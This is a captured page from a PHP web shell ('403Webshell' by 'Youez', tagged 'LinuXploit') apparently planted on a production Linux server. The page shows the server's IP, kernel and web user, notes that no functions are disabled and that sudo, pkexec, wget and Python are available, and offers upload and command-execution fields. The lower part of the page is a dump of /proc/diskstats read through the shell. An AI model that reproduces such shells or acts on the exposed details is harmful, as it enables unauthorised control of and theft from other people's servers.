403Webshell
Server IP : 152.69.216.235  /  Your IP : 80.80.80.28
Web Server : Apache/2.4.37 (Oracle Linux Server)
System : Linux ust-wp4-prod 5.15.0-310.184.5.2.el8uek.x86_64 #2 SMP Wed Jul 9 16:08:33 PDT 2025 x86_64
User : apache ( 48)
PHP Version : 8.4.10
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc//diskstats
   8       0 sda 346897321 442070 17902061470 837194129 19857894 5858110 1476283680 37284688 5 88335489 874478817 0 0 0 0 0 0
   8       1 sda1 361 199 16395 198 71 0 72 49 0 330 248 0 0 0 0 0 0
   8       2 sda2 3932 40 820773 6768 188 4 75831 923 0 2024 7691 0 0 0 0 0 0
   8       3 sda3 346892362 441831 17901195678 837186813 19857635 5858106 1476207777 37283715 5 88333422 874470528 0 0 0 0 0 0
 252       0 dm-0 345438937 0 17749198731 809482012 21930477 0 1153764861 40693455 5 86151399 850175467 0 0 0 0 0 0
 252       1 dm-1 280751 0 151966276 1378646 3558468 0 322442916 2000832 0 2170576 3379478 0 0 0 0 0 0
   8      16 sdb 161497592 145134368 3969082652 69916180 17663187 126521274 13187582080 171018629 0 88187018 240934809 0 0 0 0 0 0
   8      17 sdb1 161497517 145134368 3969079988 69916131 17663187 126521274 13187582080 171018629 0 88186958 240934761 0 0 0 0 0 0
   8      32 sdc 31879294 46485495 1150857932 14896382 9432 465135 3796536 55602 0 13879064 14951985 0 0 0 0 0 0
   8      33 sdc1 31879071 46485495 1150853020 14896162 9432 465135 3796536 55602 0 13878923 14951765 0 0 0 0 0 0
   8      48 sdd 35208840 49661750 699365068 18059799 980254 8525967 1046853048 14640959 0 18149036 32700759 0 0 0 0 0 0

Youez - 2016 - github.com/yon3zu
LinuXploit